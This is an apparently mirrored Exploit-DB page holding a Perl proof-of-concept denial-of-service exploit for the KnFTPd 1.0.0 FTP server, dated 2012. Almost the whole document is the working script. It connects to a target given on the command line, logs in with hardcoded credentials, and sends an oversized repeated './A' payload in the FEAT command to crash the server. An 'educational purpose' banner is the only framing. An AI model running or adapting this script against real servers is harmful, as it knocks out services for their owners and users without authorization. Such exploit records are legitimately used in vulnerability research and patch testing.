KnFTPd 1.0.0 – ‘FEAT’ Denial of Service (PoC) - 体验盒子

作者： Stefan Schurtz

日期： 2012-03-28

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/18671/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

#!/usr/bin/perl

#################################################################################

# Advisory: KnFTPd 1.0.0 'FEAT' DoS PoC-Exploit

# Author: Stefan Schurtz

# Affected Software: Successfully tested on KnFTPd 1.0.0

# Vendor URL: http://knftp.sourceforge.net/

# Vendor Status: informed

# CVE-ID: -

# PoC-Version: 1.0

#################################################################################

use strict;

use Net::FTP;

my $user = "system";

my $password = "secret";

########################

# connect

########################

my $target = $ARGV[0];

my $plength = $ARGV[1];

print "\n";

print "\t#######################################################\n";

print "\t# This PoC-Exploit is only for educational purpose!!! #\n";

print "\t#######################################################\n";

print "\n";

if (!$ARGV[0]||!$ARGV[1]) {

print "[+] Usage: $@ <target> <payload length>\n";

exit 1;

}

my $ftp=Net::FTP->new($target,Timeout=>12) or die "Cannot connect to $target: $@";

print "[+] Connected to $target\n";

########################

# login

########################

$ftp->login($user,$password) or die "Cannot login ", $ftp->message;

print "[+] Logged in with user $user\n";

###################################################

# Building payload './A' with min. length of 94

##################################################

my @p = ( "","./A" );

my $payload;

print "[+] Building payload\n";

for (my $i=1;$i<=$plength;$i++) {

$payload .= $p[$i];

push(@p,$p[$i]);

}

sleep(3);

#########################################

# Sending payload

#########################################

print "[+] Sending payload [$payload]\n";

$ftp->quot('FEAT ' ."$payload");

##########################################

# disconnect

##########################################

print "[+] Done\n";

$ftp->quit;

exit 0;

#EOF